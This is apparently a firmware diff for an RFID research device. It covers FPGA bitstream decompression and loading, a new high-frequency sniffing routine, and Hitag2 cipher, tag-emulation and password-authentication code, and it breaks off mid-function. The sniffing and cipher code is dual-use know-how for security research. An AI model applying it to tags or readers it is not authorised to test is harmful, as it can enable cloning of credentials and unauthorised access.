+// each call. +//---------------------------------------------------------------------------- +static int get_from_fpga_combined_stream(z_streamp compressed_fpga_stream, uint8_t *output_buffer) { + if (fpga_image_ptr == compressed_fpga_stream->next_out) { // need more data + compressed_fpga_stream->next_out = output_buffer; + compressed_fpga_stream->avail_out = OUTPUT_BUFFER_LEN; + fpga_image_ptr = output_buffer; + int res = inflate(compressed_fpga_stream, Z_SYNC_FLUSH); + + if (res != Z_OK) + Dbprintf("inflate returned: %d, %s", res, compressed_fpga_stream->msg); + + if (res < 0) + return res; + } + uncompressed_bytes_cnt++; + return *fpga_image_ptr++; +} + +//---------------------------------------------------------------------------- +// Undo the interleaving of several FPGA config files. FPGA config files +// are combined into one big file: +// 288 bytes from FPGA file 1, followed by 288 bytes from FGPA file 2, etc. +//---------------------------------------------------------------------------- +static int get_from_fpga_stream(int bitstream_version, z_streamp compressed_fpga_stream, uint8_t *output_buffer) { + while((uncompressed_bytes_cnt / FPGA_INTERLEAVE_SIZE) % fpga_bitstream_num != (bitstream_version - 1)) { + // skip undesired data belonging to other bitstream_versions + get_from_fpga_combined_stream(compressed_fpga_stream, output_buffer); + } + + return get_from_fpga_combined_stream(compressed_fpga_stream, output_buffer); +} + +static voidpf fpga_inflate_malloc(voidpf opaque, uInt items, uInt size) { + return BigBuf_malloc(items*size); +} + +// free eventually allocated BigBuf memory +static void fpga_inflate_free(voidpf opaque, voidpf address) { + BigBuf_free(); BigBuf_Clear_ext(false); +} + +//---------------------------------------------------------------------------- +// Initialize decompression of the respective (HF or LF) FPGA stream +//---------------------------------------------------------------------------- +static bool reset_fpga_stream(int bitstream_version, z_streamp compressed_fpga_stream, uint8_t *output_buffer) { + uint8_t header[FPGA_BITSTREAM_FIXED_HEADER_SIZE]; + + uncompressed_bytes_cnt = 0; + + // initialize z_stream structure for inflate: + compressed_fpga_stream->next_in = &_binary_obj_fpga_all_bit_z_start; + compressed_fpga_stream->avail_in = &_binary_obj_fpga_all_bit_z_end - &_binary_obj_fpga_all_bit_z_start; + compressed_fpga_stream->next_out = output_buffer; + compressed_fpga_stream->avail_out = OUTPUT_BUFFER_LEN; + compressed_fpga_stream->zalloc = &fpga_inflate_malloc; + compressed_fpga_stream->zfree = &fpga_inflate_free; + + inflateInit2(compressed_fpga_stream, 0); + + fpga_image_ptr = output_buffer; + + for (uint16_t i = 0; i < FPGA_BITSTREAM_FIXED_HEADER_SIZE; i++) + header[i] = get_from_fpga_stream(bitstream_version, compressed_fpga_stream, output_buffer); + + // Check for a valid .bit file (starts with bitparse_fixed_header) + if (memcmp(bitparse_fixed_header, header, FPGA_BITSTREAM_FIXED_HEADER_SIZE) == 0) + return true; + + return false; +} + +static void DownloadFPGA_byte(unsigned char w) { #define SEND_BIT(x) { if(w & (1<PIO_OER = GPIO_FPGA_ON; AT91C_BASE_PIOA->PIO_PER = GPIO_FPGA_ON; @@ -205,7 +299,7 @@ static void DownloadFPGA(const char *FpgaImage, int FpgaImageLen, int byterevers SpinDelay(50); HIGH(GPIO_FPGA_NPROGRAM); - i=100000; + i = 100000; // wait for FPGA ready to accept data signal while ((i) && ( !(AT91C_BASE_PIOA->PIO_PDSR & GPIO_FPGA_NINIT ) ) ) { i--; @@ -218,25 +312,17 @@ static void DownloadFPGA(const char *FpgaImage, int FpgaImageLen, int byterevers return; } - if(bytereversal) { - /* This is only supported for uint32_t aligned images */ - if( ((int)FpgaImage % sizeof(uint32_t)) == 0 ) { - i=0; - while(FpgaImageLen-->0) - DownloadFPGA_byte(FpgaImage[(i++)^0x3]); - /* Explanation of the magic in the above line: - * i^0x3 inverts the lower two bits of the integer i, counting backwards - * for each 4 byte increment. The generated sequence of (i++)^3 is - * 3 2 1 0 7 6 5 4 11 10 9 8 15 14 13 12 etc. pp. - */ + for (i = 0; i < FpgaImageLen; i++) { + int b = get_from_fpga_stream(bitstream_version, compressed_fpga_stream, output_buffer); + if (b < 0) { + Dbprintf("Error %d during FpgaDownload", b); + break; } - } else { - while(FpgaImageLen-->0) - DownloadFPGA_byte(*FpgaImage++); + DownloadFPGA_byte(b); } // continue to clock FPGA until ready signal goes high - i=100000; + i = 100000; while ( (i--) && ( !(AT91C_BASE_PIOA->PIO_PDSR & GPIO_FPGA_DONE ) ) ) { HIGH(GPIO_FPGA_CCLK); LOW(GPIO_FPGA_CCLK); @@ -250,165 +336,91 @@ static void DownloadFPGA(const char *FpgaImage, int FpgaImageLen, int byterevers LED_D_OFF(); } -static char *bitparse_headers_start; -static char *bitparse_bitstream_end; -static int bitparse_initialized = 0; /* Simple Xilinx .bit parser. The file starts with the fixed opaque byte sequence * 00 09 0f f0 0f f0 0f f0 0f f0 00 00 01 * After that the format is 1 byte section type (ASCII character), 2 byte length * (big endian), bytes content. Except for section 'e' which has 4 bytes * length. */ -static const char _bitparse_fixed_header[] = {0x00, 0x09, 0x0f, 0xf0, 0x0f, 0xf0, 0x0f, 0xf0, 0x0f, 0xf0, 0x00, 0x00, 0x01}; -static int bitparse_init(void * start_address, void *end_address) -{ - bitparse_initialized = 0; - - if(memcmp(_bitparse_fixed_header, start_address, sizeof(_bitparse_fixed_header)) != 0) { - return 0; /* Not matched */ - } else { - bitparse_headers_start= ((char*)start_address) + sizeof(_bitparse_fixed_header); - bitparse_bitstream_end= (char*)end_address; - bitparse_initialized = 1; - return 1; - } -} - -int bitparse_find_section(char section_name, char **section_start, unsigned int *section_length) -{ - char *pos = bitparse_headers_start; +static int bitparse_find_section(int bitstream_version, char section_name, uint32_t *section_length, z_streamp compressed_fpga_stream, uint8_t *output_buffer) { int result = 0; - - if(!bitparse_initialized) return 0; - - while(pos < bitparse_bitstream_end) { - char current_name = *pos++; - unsigned int current_length = 0; - if(current_name < 'a' || current_name > 'e') { + #define MAX_FPGA_BIT_STREAM_HEADER_SEARCH 100 // maximum number of bytes to search for the requested section + uint16_t numbytes = 0; + while(numbytes < MAX_FPGA_BIT_STREAM_HEADER_SEARCH) { + char current_name = get_from_fpga_stream(bitstream_version, compressed_fpga_stream, output_buffer); + numbytes++; + uint32_t current_length = 0; + if (current_name < 'a' || current_name > 'e') { /* Strange section name, abort */ break; } current_length = 0; - switch(current_name) { + switch (current_name) { case 'e': /* Four byte length field */ - current_length += (*pos++) << 24; - current_length += (*pos++) << 16; + current_length += get_from_fpga_stream(bitstream_version, compressed_fpga_stream, output_buffer) << 24; + current_length += get_from_fpga_stream(bitstream_version, compressed_fpga_stream, output_buffer) << 16; + numbytes += 2; default: /* Fall through, two byte length field */ - current_length += (*pos++) << 8; - current_length += (*pos++) << 0; + current_length += get_from_fpga_stream(bitstream_version, compressed_fpga_stream, output_buffer) << 8; + current_length += get_from_fpga_stream(bitstream_version, compressed_fpga_stream, output_buffer) << 0; + numbytes += 2; } - if(current_name != 'e' && current_length > 255) { + if (current_name != 'e' && current_length > 255) { /* Maybe a parse error */ break; } - if(current_name == section_name) { + if (current_name == section_name) { /* Found it */ - *section_start = pos; *section_length = current_length; result = 1; break; } - pos += current_length; /* Skip section */ + for (uint16_t i = 0; i < current_length && numbytes < MAX_FPGA_BIT_STREAM_HEADER_SEARCH; i++) { + get_from_fpga_stream(bitstream_version, compressed_fpga_stream, output_buffer); + numbytes++; + } } - return result; } -//----------------------------------------------------------------------------- -// Find out which FPGA image format is stored in flash, then call DownloadFPGA -// with the right parameters to download the image -//----------------------------------------------------------------------------- -extern char _binary_fpga_lf_bit_start, _binary_fpga_lf_bit_end; -extern char _binary_fpga_hf_bit_start, _binary_fpga_hf_bit_end; -void FpgaDownloadAndGo(int bitstream_version) -{ - void *bit_start; - void *bit_end; +//---------------------------------------------------------------------------- +// Check which FPGA image is currently loaded (if any). If necessary +// decompress and load the correct (HF or LF) image to the FPGA +//---------------------------------------------------------------------------- +void FpgaDownloadAndGo(int bitstream_version) { // check whether or not the bitstream is already loaded - if (FpgaGatherBitstreamVersion() == bitstream_version) + if (downloaded_bitstream == bitstream_version) + return; + + z_stream compressed_fpga_stream; + uint8_t output_buffer[OUTPUT_BUFFER_LEN] = {0x00}; + + bool verbose = (MF_DBGLEVEL > 3); + + // make sure that we have enough memory to decompress + BigBuf_free(); BigBuf_Clear_ext(verbose); + + if (!reset_fpga_stream(bitstream_version, &compressed_fpga_stream, output_buffer)) return; - if (bitstream_version == FPGA_BITSTREAM_LF) { - bit_start = &_binary_fpga_lf_bit_start; - bit_end = &_binary_fpga_lf_bit_end; - } else if (bitstream_version == FPGA_BITSTREAM_HF) { - bit_start = &_binary_fpga_hf_bit_start; - bit_end = &_binary_fpga_hf_bit_end; - } else - return; - /* Check for the new flash image format: Should have the .bit file at &_binary_fpga_bit_start - */ - if(bitparse_init(bit_start, bit_end)) { - /* Successfully initialized the .bit parser. Find the 'e' section and - * send its contents to the FPGA. - */ - char *bitstream_start; - unsigned int bitstream_length; - if(bitparse_find_section('e', &bitstream_start, &bitstream_length)) { - DownloadFPGA(bitstream_start, bitstream_length, 0); - - return; /* All done */ - } + uint32_t bitstream_length; + if (bitparse_find_section(bitstream_version, 'e', &bitstream_length, &compressed_fpga_stream, output_buffer)) { + DownloadFPGA(bitstream_version, bitstream_length, &compressed_fpga_stream, output_buffer); + downloaded_bitstream = bitstream_version; } - /* Fallback for the old flash image format: Check for the magic marker 0xFFFFFFFF - * 0xAA995566 at address 0x102000. This is raw bitstream with a size of 336,768 bits - * = 10,524 uint32_t, stored as uint32_t e.g. little-endian in memory, but each DWORD - * is still to be transmitted in MSBit first order. Set the invert flag to indicate - * that the DownloadFPGA function should invert every 4 byte sequence when doing - * the bytewise download. - */ - if( *(uint32_t*)0x102000 == 0xFFFFFFFF && *(uint32_t*)0x102004 == 0xAA995566 ) - DownloadFPGA((char*)0x102000, 10524*4, 1); -} + inflateEnd(&compressed_fpga_stream); -int FpgaGatherBitstreamVersion() -{ - char temp[256]; - FpgaGatherVersion(temp, sizeof (temp)); - if (!memcmp("LF", temp, 2)) - return FPGA_BITSTREAM_LF; - else if (!memcmp("HF", temp, 2)) - return FPGA_BITSTREAM_HF; - return FPGA_BITSTREAM_ERR; -} - -void FpgaGatherVersion(char *dst, int len) -{ - char *fpga_info; - unsigned int fpga_info_len; - dst[0] = 0; - if(!bitparse_find_section('e', &fpga_info, &fpga_info_len)) { - strncat(dst, "FPGA image: legacy image without version information", len-1); - } else { - /* USB packets only have 48 bytes data payload, so be terse */ - if(bitparse_find_section('a', &fpga_info, &fpga_info_len) && fpga_info[fpga_info_len-1] == 0 ) { - if (!memcmp("fpga_lf", fpga_info, 7)) - strncat(dst, "LF ", len-1); - else if (!memcmp("fpga_hf", fpga_info, 7)) - strncat(dst, "HF ", len-1); - } - strncat(dst, "FPGA image built", len-1); -#if 0 - if(bitparse_find_section('b', &fpga_info, &fpga_info_len) && fpga_info[fpga_info_len-1] == 0 ) { - strncat(dst, " for ", len-1); - strncat(dst, fpga_info, len-1); - } -#endif - if(bitparse_find_section('c', &fpga_info, &fpga_info_len) && fpga_info[fpga_info_len-1] == 0 ) { - strncat(dst, " on ", len-1); - strncat(dst, fpga_info, len-1); - } - if(bitparse_find_section('d', &fpga_info, &fpga_info_len) && fpga_info[fpga_info_len-1] == 0 ) { - strncat(dst, " at ", len-1); - strncat(dst, fpga_info, len-1); - } - } + // turn off antenna + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + + // free eventually allocated BigBuf memory + BigBuf_free(); BigBuf_Clear_ext(false); } //----------------------------------------------------------------------------- @@ -416,19 +428,18 @@ void FpgaGatherVersion(char *dst, int len) // The bit format is: C3 C2 C1 C0 D11 D10 D9 D8 D7 D6 D5 D4 D3 D2 D1 D0 // where C is the 4 bit command and D is the 12 bit data //----------------------------------------------------------------------------- -void FpgaSendCommand(uint16_t cmd, uint16_t v) -{ +void FpgaSendCommand(uint16_t cmd, uint16_t v) { SetupSpi(SPI_FPGA_MODE); - while ((AT91C_BASE_SPI->SPI_SR & AT91C_SPI_TXEMPTY) == 0); // wait for the transfer to complete + while ((AT91C_BASE_SPI->SPI_SR & AT91C_SPI_TXEMPTY) == 0); // wait for the transfer to complete AT91C_BASE_SPI->SPI_TDR = AT91C_SPI_LASTXFER | cmd | v; // send the data + while (!(AT91C_BASE_SPI->SPI_SR & AT91C_SPI_RDRF)) {}; // wait till transfer is complete } //----------------------------------------------------------------------------- // Write the FPGA setup word (that determines what mode the logic is in, read // vs. clone vs. etc.). This is now a special case of FpgaSendCommand() to // avoid changing this function's occurence everywhere in the source code. //----------------------------------------------------------------------------- -void FpgaWriteConfWord(uint8_t v) -{ +void FpgaWriteConfWord(uint8_t v) { FpgaSendCommand(FPGA_CMD_SET_CONFREG, v); } @@ -437,8 +448,7 @@ void FpgaWriteConfWord(uint8_t v) // closable, but should only close one at a time. Not an FPGA thing, but // the samples from the ADC always flow through the FPGA. //----------------------------------------------------------------------------- -void SetAdcMuxFor(uint32_t whichGpio) -{ +void SetAdcMuxFor(uint32_t whichGpio) { AT91C_BASE_PIOA->PIO_OER = GPIO_MUXSEL_HIPKD | GPIO_MUXSEL_LOPKD | @@ -452,9 +462,33 @@ void SetAdcMuxFor(uint32_t whichGpio) GPIO_MUXSEL_HIRAW; LOW(GPIO_MUXSEL_HIPKD); + LOW(GPIO_MUXSEL_LOPKD); +#ifndef WITH_FPC LOW(GPIO_MUXSEL_HIRAW); LOW(GPIO_MUXSEL_LORAW); - LOW(GPIO_MUXSEL_LOPKD); +#endif HIGH(whichGpio); } + +void Fpga_print_status(void) { + Dbprintf("Currently loaded FPGA image"); + Dbprintf(" mode....................%s", fpga_version_information[downloaded_bitstream-1]); +} + +int FpgaGetCurrent(void) { + return downloaded_bitstream; +} + +// Turns off the antenna, +// log message +// if HF, Disable SSC DMA +// turn off trace and leds off. +void switch_off(void) { + if (MF_DBGLEVEL > 3) Dbprintf("switch_off"); + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + if (downloaded_bitstream == FPGA_BITSTREAM_HF ) + FpgaDisableSscDma(); + set_tracing(false); + LEDsoff(); +} diff --git a/armsrc/fpgaloader.h b/armsrc/fpgaloader.h new file mode 100644 index 000000000..66cca0510 --- /dev/null +++ b/armsrc/fpgaloader.h @@ -0,0 +1,98 @@ +//----------------------------------------------------------------------------- +// Jonathan Westhues, April 2006 +// iZsh , 2014 +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// Routines to load the FPGA image, and then to configure the FPGA's major +// mode once it is configured. +//----------------------------------------------------------------------------- +#ifndef __FPGALOADER_H +#define __FPGALOADER_H + +#include +#include +#include "apps.h" +#include "fpga.h" +#include "common.h" // standard definitions +#include "proxmark3.h" // common area +#include "string.h" +#include "BigBuf.h" // bigbuf mem +#include "zlib.h" // uncompress + + +void FpgaSendCommand(uint16_t cmd, uint16_t v); +void FpgaWriteConfWord(uint8_t v); +void FpgaDownloadAndGo(int bitstream_version); +// void FpgaGatherVersion(int bitstream_version, char *dst, int len); +void FpgaSetupSscExt(uint8_t clearPCER); +void FpgaSetupSsc(void); +void SetupSpi(int mode); +bool FpgaSetupSscDma(uint8_t *buf, int len); +void Fpga_print_status(void); +int FpgaGetCurrent(void); +#define FpgaDisableSscDma(void) AT91C_BASE_PDC_SSC->PDC_PTCR = AT91C_PDC_RXTDIS; +#define FpgaEnableSscDma(void) AT91C_BASE_PDC_SSC->PDC_PTCR = AT91C_PDC_RXTEN; +void SetAdcMuxFor(uint32_t whichGpio); + +// extern and generel turn off the antenna method +extern void switch_off(void); + +// definitions for multiple FPGA config files support +#define FPGA_BITSTREAM_LF 1 +#define FPGA_BITSTREAM_HF 2 +//#define FPGA_BITSTREAM_FELICA 3 + +// Definitions for the FPGA commands. +#define FPGA_CMD_SET_CONFREG (1<<12) +#define FPGA_CMD_SET_DIVISOR (2<<12) +#define FPGA_CMD_SET_USER_BYTE1 (3<<12) +// Definitions for the FPGA configuration word. +// LF +#define FPGA_MAJOR_MODE_LF_ADC (0<<5) +#define FPGA_MAJOR_MODE_LF_EDGE_DETECT (1<<5) +#define FPGA_MAJOR_MODE_LF_PASSTHRU (2<<5) +// HF +#define FPGA_MAJOR_MODE_HF_READER_TX (0<<5) +#define FPGA_MAJOR_MODE_HF_READER_RX_XCORR (1<<5) +#define FPGA_MAJOR_MODE_HF_SIMULATOR (2<<5) +#define FPGA_MAJOR_MODE_HF_ISO14443A (3<<5) +#define FPGA_MAJOR_MODE_HF_SNOOP (4<<5) +#define FPGA_MAJOR_MODE_HF_FELICA (5<<5) +// BOTH +#define FPGA_MAJOR_MODE_OFF (7<<5) +// Options for LF_ADC +#define FPGA_LF_ADC_READER_FIELD (1<<0) +// Options for LF_EDGE_DETECT +#define FPGA_CMD_SET_EDGE_DETECT_THRESHOLD FPGA_CMD_SET_USER_BYTE1 +#define FPGA_LF_EDGE_DETECT_READER_FIELD (1<<0) +#define FPGA_LF_EDGE_DETECT_TOGGLE_MODE (1<<1) +// Options for the HF reader, tx to tag +#define FPGA_HF_READER_TX_SHALLOW_MOD (1<<0) +// Options for the HF reader, correlating against rx from tag +#define FPGA_HF_READER_RX_XCORR_848_KHZ (1<<0) +#define FPGA_HF_READER_RX_XCORR_SNOOP (1<<1) +// Options for the HF simulated tag, how to modulate +#define FPGA_HF_SIMULATOR_NO_MODULATION (0<<0) // 0000 +#define FPGA_HF_SIMULATOR_MODULATE_BPSK (1<<0) // 0001 +#define FPGA_HF_SIMULATOR_MODULATE_212K (2<<0) // 0010 +#define FPGA_HF_SIMULATOR_MODULATE_424K (4<<0) // 0100 +#define FPGA_HF_SIMULATOR_MODULATE_424K_8BIT 0x5 // 0101 +// no 848K + +// Options for ISO14443A +#define FPGA_HF_ISO14443A_SNIFFER (0<<0) +#define FPGA_HF_ISO14443A_TAGSIM_LISTEN (1<<0) +#define FPGA_HF_ISO14443A_TAGSIM_MOD (2<<0) +#define FPGA_HF_ISO14443A_READER_LISTEN (3<<0) +#define FPGA_HF_ISO14443A_READER_MOD (4<<0) + +//options for Felica. +#define FPGA_MAJOR_MODE_ISO18092 (5<<5) // 01010 0000 +#define FPGA_HF_ISO18092_FLAG_NOMOD (1<<0) // 0001 disable modulation module +#define FPGA_HF_ISO18092_FLAG_424K (2<<0) // 0010 should enable 414k mode (untested). No autodetect +#define FPGA_HF_ISO18092_FLAG_READER (4<<0) // 0100 enables antenna power, to act as a reader instead of tag + +#endif \ No newline at end of file diff --git a/armsrc/hfsnoop.c b/armsrc/hfsnoop.c new file mode 100644 index 000000000..121f100c5 --- /dev/null +++ b/armsrc/hfsnoop.c @@ -0,0 +1,78 @@ +#include "proxmark3.h" +#include "apps.h" +#include "BigBuf.h" +#include "util.h" +#include "usb_cdc.h" // for usb_poll_validate_length + +static void RAMFUNC optimizedSnoop(void); + +static void RAMFUNC optimizedSnoop(void) +{ + int n = BigBuf_max_traceLen() / sizeof(uint16_t); // take all memory + + uint16_t *dest = (uint16_t *)BigBuf_get_addr(); + uint16_t *destend = dest + n-1; + + // Reading data loop + while(dest <= destend) { + if(AT91C_BASE_SSC->SSC_SR & AT91C_SSC_RXRDY) { + *dest = (uint16_t)(AT91C_BASE_SSC->SSC_RHR); + dest++; + } + } + //setting tracelen - importsnt! it was set by buffer overflow before + set_tracelen( BigBuf_max_traceLen()); +} + +void HfSnoop(int samplesToSkip, int triggersToSkip) +{ + BigBuf_free(); BigBuf_Clear(); + + Dbprintf("Skipping first %d sample pairs, Skipping %d triggers.\n", samplesToSkip, triggersToSkip); + int trigger_cnt; + + LED_D_ON(); + // Select correct configs + FpgaDownloadAndGo(FPGA_BITSTREAM_HF); + // Set up the synchronous serial port + FpgaSetupSsc(); + // connect Demodulated Signal to ADC: + SetAdcMuxFor(GPIO_MUXSEL_HIPKD); + FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_SNOOP); + SpinDelay(100); + + AT91C_BASE_SSC->SSC_RFMR = SSC_FRAME_MODE_BITS_IN_WORD(16); // Setting Frame Mode For better performance on high speed data transfer. + + trigger_cnt = 0; + uint16_t r = 0; + while (!BUTTON_PRESS() && !usb_poll_validate_length() ) { + WDT_HIT(); + if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) { + r = (uint16_t)AT91C_BASE_SSC->SSC_RHR; + r = MAX(r & 0xff, r >> 8); + if (r >= 180) { + if (++trigger_cnt > triggersToSkip) + break; + } + } + } + + if (!BUTTON_PRESS()) { + int waitcount = samplesToSkip; // lets wait 40000 ticks of pck0 + while(waitcount != 0) { + + if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) + waitcount--; + } + optimizedSnoop(); + Dbprintf("Trigger kicked! Value: %d, Dumping Samples Hispeed now.", r); + } + + //Resetting Frame mode (First set in fpgaloader.c) + AT91C_BASE_SSC->SSC_RFMR = SSC_FRAME_MODE_BITS_IN_WORD(8) | AT91C_SSC_MSBF | SSC_FRAME_MODE_WORDS_PER_TRANSFER(0); + + DbpString("HF Snoop end"); + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + LED_D_OFF(); +} + diff --git a/armsrc/hitag2.c b/armsrc/hitag2.c index 9181a62ea..ae7a71c31 100644 --- a/armsrc/hitag2.c +++ b/armsrc/hitag2.c @@ -21,37 +21,13 @@ #include "util.h" #include "hitag2.h" #include "string.h" +#include "BigBuf.h" static bool bQuiet; - -bool bCrypto; -bool bAuthenticating; -bool bPwd; -bool bSuccessful; - -int LogTraceHitag(const uint8_t * btBytes, int iBits, int iSamples, uint32_t dwParity, int bReader) -{ - // Return when trace is full - if (traceLen >= TRACE_SIZE) return FALSE; - - // Trace the random, i'm curious - rsamples += iSamples; - trace[traceLen++] = ((rsamples >> 0) & 0xff); - trace[traceLen++] = ((rsamples >> 8) & 0xff); - trace[traceLen++] = ((rsamples >> 16) & 0xff); - trace[traceLen++] = ((rsamples >> 24) & 0xff); - if (!bReader) { - trace[traceLen - 1] |= 0x80; - } - trace[traceLen++] = ((dwParity >> 0) & 0xff); - trace[traceLen++] = ((dwParity >> 8) & 0xff); - trace[traceLen++] = ((dwParity >> 16) & 0xff); - trace[traceLen++] = ((dwParity >> 24) & 0xff); - trace[traceLen++] = iBits; - memcpy(trace + traceLen, btBytes, nbytes(iBits)); - traceLen += nbytes(iBits); - return TRUE; -} +static bool bCrypto; +static bool bAuthenticating; +static bool bPwd; +static bool bSuccessful; struct hitag2_tag { uint32_t uid; @@ -85,21 +61,25 @@ static struct hitag2_tag tag = { }, }; -//#define TRACE_LENGTH 3000 -//uint8_t *trace = (uint8_t *) BigBuf; -//int traceLen = 0; -//int rsamples = 0; +static enum { + WRITE_STATE_START = 0x0, + WRITE_STATE_PAGENUM_WRITTEN, + WRITE_STATE_PROG +} writestate; + -#define AUTH_TABLE_OFFSET FREE_BUFFER_OFFSET -#define AUTH_TABLE_LENGTH FREE_BUFFER_SIZE -byte_t* auth_table = (byte_t *)BigBuf+AUTH_TABLE_OFFSET; -size_t auth_table_pos = 0; -size_t auth_table_len = AUTH_TABLE_LENGTH; +// ToDo: define a meaningful maximum size for auth_table. The bigger this is, the lower will be the available memory for traces. +// Historically it used to be FREE_BUFFER_SIZE, which was 2744. +#define AUTH_TABLE_LENGTH 2744 +static byte_t* auth_table; +static size_t auth_table_pos = 0; +static size_t auth_table_len = AUTH_TABLE_LENGTH; -byte_t password[4]; -byte_t NrAr[8]; -byte_t key[8]; -uint64_t cipher_state; +static byte_t password[4]; +static byte_t NrAr[8]; +static byte_t key[8]; +static byte_t writedata[4]; +static uint64_t cipher_state; /* Following is a modified version of cryptolib.com/ciphers/hitag2/ */ // Software optimized 48-bit Philips/NXP Mifare Hitag2 PCF7936/46/47/52 stream cipher algorithm by I.C. Wiener 2006-2007. @@ -122,7 +102,6 @@ uint64_t cipher_state; #define rotl64(x, n) ((((u64)(x))<<((n)&63))+(((u64)(x))>>((0-(n))&63))) // Single bit Hitag2 functions: - #define i4(x,a,b,c,d) ((u32)((((x)>>(a))&1)+(((x)>>(b))&1)*2+(((x)>>(c))&1)*4+(((x)>>(d))&1)*8)) static const u32 ht2_f4a = 0x2C79; // 0010 1100 0111 1001 @@ -131,7 +110,7 @@ static const u32 ht2_f5c = 0x7907287B; // 0111 1001 0000 0111 0010 1000 0111 101 static u32 _f20 (const u64 x) { - u32 i5; + u32 i5; i5 = ((ht2_f4a >> i4 (x, 1, 2, 4, 5)) & 1)* 1 + ((ht2_f4b >> i4 (x, 7,11,13,14)) & 1)* 2 @@ -144,8 +123,8 @@ static u32 _f20 (const u64 x) static u64 _hitag2_init (const u64 key, const u32 serial, const u32 IV) { - u32 i; - u64 x = ((key & 0xFFFF) << 32) + serial; + u32 i; + u64 x = ((key & 0xFFFF) << 32) + serial; for (i = 0; i < 32; i++) { @@ -157,7 +136,7 @@ static u64 _hitag2_init (const u64 key, const u32 serial, const u32 IV) static u64 _hitag2_round (u64 *state) { - u64 x = *state; + u64 x = *state; x = (x >> 1) + ((((x >> 0) ^ (x >> 2) ^ (x >> 3) ^ (x >> 6) @@ -169,24 +148,31 @@ static u64 _hitag2_round (u64 *state) return _f20 (x); } +// "MIKRON" = O N M I K R +// Key = 4F 4E 4D 49 4B 52 - Secret 48-bit key +// Serial = 49 43 57 69 - Serial number of the tag, transmitted in clear +// Random = 65 6E 45 72 - Random IV, transmitted in clear +//~28~DC~80~31 = D7 23 7F CE - Authenticator value = inverted first 4 bytes of the keystream + +// The code below must print out "D7 23 7F CE 8C D0 37 A9 57 49 C1 E6 48 00 8A B6". +// The inverse of the first 4 bytes is sent to the tag to authenticate. +// The rest is encrypted by XORing it with the subsequent keystream. + static u32 _hitag2_byte (u64 * x) { - u32 i, c; + u32 i, c; for (i = 0, c = 0; i < 8; i++) c += (u32) _hitag2_round (x) << (i^7); return c; } -int hitag2_reset(void) -{ +static int hitag2_reset(void) { tag.state = TAG_STATE_RESET; tag.crypto_active = 0; return 0; } -int hitag2_init(void) -{ -// memcpy(&tag, &resetdata, sizeof(tag)); +static int hitag2_init(void) { hitag2_reset(); return 0; } @@ -247,17 +233,18 @@ static int hitag2_cipher_transcrypt(uint64_t* cs, byte_t *data, unsigned int byt #define HITAG_T_WAIT_1 200 /* T_wresp should be 199..206 */ #define HITAG_T_WAIT_2 90 /* T_wresp should be 199..206 */ #define HITAG_T_WAIT_MAX 300 /* bit more than HITAG_T_WAIT_1 + HITAG_T_WAIT_2 */ +#define HITAG_T_PROG 614 -#define HITAG_T_TAG_ONE_HALF_PERIOD 10 -#define HITAG_T_TAG_TWO_HALF_PERIOD 25 -#define HITAG_T_TAG_THREE_HALF_PERIOD 41 -#define HITAG_T_TAG_FOUR_HALF_PERIOD 57 +#define HITAG_T_TAG_ONE_HALF_PERIOD 10 +#define HITAG_T_TAG_TWO_HALF_PERIOD 25 +#define HITAG_T_TAG_THREE_HALF_PERIOD 41 +#define HITAG_T_TAG_FOUR_HALF_PERIOD 57 -#define HITAG_T_TAG_HALF_PERIOD 16 -#define HITAG_T_TAG_FULL_PERIOD 32 +#define HITAG_T_TAG_HALF_PERIOD 16 +#define HITAG_T_TAG_FULL_PERIOD 32 -#define HITAG_T_TAG_CAPTURE_ONE_HALF 13 -#define HITAG_T_TAG_CAPTURE_TWO_HALF 25 +#define HITAG_T_TAG_CAPTURE_ONE_HALF 13 +#define HITAG_T_TAG_CAPTURE_TWO_HALF 25 #define HITAG_T_TAG_CAPTURE_THREE_HALF 41 #define HITAG_T_TAG_CAPTURE_FOUR_HALF 57 @@ -300,7 +287,8 @@ static void hitag_send_frame(const byte_t* frame, size_t frame_len) LOW(GPIO_SSC_DOUT); } -void hitag2_handle_reader_command(byte_t* rx, const size_t rxlen, byte_t* tx, size_t* txlen) + +static void hitag2_handle_reader_command(byte_t* rx, const size_t rxlen, byte_t* tx, size_t* txlen) { byte_t rx_air[HITAG_FRAME_LEN]; @@ -364,7 +352,7 @@ void hitag2_handle_reader_command(byte_t* rx, const size_t rxlen, byte_t* tx, si // Unknown command default: - Dbprintf("Uknown command: %02x %02x",rx[0],rx[1]); + Dbprintf("Unknown command: %02x %02x",rx[0],rx[1]); return; break; } @@ -435,7 +423,7 @@ static void hitag_reader_send_bit(int bit) { // Binary puls length modulation (BPLM) is used to encode the data stream // This means that a transmission of a one takes longer than that of a zero - // Enable modulation, which means, drop the the field + // Enable modulation, which means, drop the field HIGH(GPIO_SSC_DOUT); // Wait for 4-10 times the carrier period @@ -448,15 +436,15 @@ static void hitag_reader_send_bit(int bit) { if(bit == 0) { // Zero bit: |_-| while(AT91C_BASE_TC0->TC_CV < T0*22); - // SpinDelayUs(16*8); + } else { // One bit: |_--| while(AT91C_BASE_TC0->TC_CV < T0*28); - // SpinDelayUs(22*8); } LED_A_OFF(); } + static void hitag_reader_send_frame(const byte_t* frame, size_t frame_len) { // Send the content of the frame @@ -465,7 +453,7 @@ static void hitag_reader_send_frame(const byte_t* frame, size_t frame_len) } // Send EOF AT91C_BASE_TC0->TC_CCR = AT91C_TC_SWTRG; - // Enable modulation, which means, drop the the field + // Enable modulation, which means, drop the field HIGH(GPIO_SSC_DOUT); // Wait for 4-10 times the carrier period while(AT91C_BASE_TC0->TC_CV < T0*6); @@ -475,7 +463,7 @@ static void hitag_reader_send_frame(const byte_t* frame, size_t frame_len) size_t blocknr; -bool hitag2_password(byte_t* rx, const size_t rxlen, byte_t* tx, size_t* txlen) { +static bool hitag2_password(byte_t* rx, const size_t rxlen, byte_t* tx, size_t* txlen) { // Reset the transmission frame length *txlen = 0; @@ -498,26 +486,26 @@ bool hitag2_password(byte_t* rx, const size_t rxlen, byte_t* tx, size_t* txlen) *txlen = 32; memcpy(tx,password,4); bPwd = true; - memcpy(tag.sectors[blocknr],rx,4); - blocknr++; + 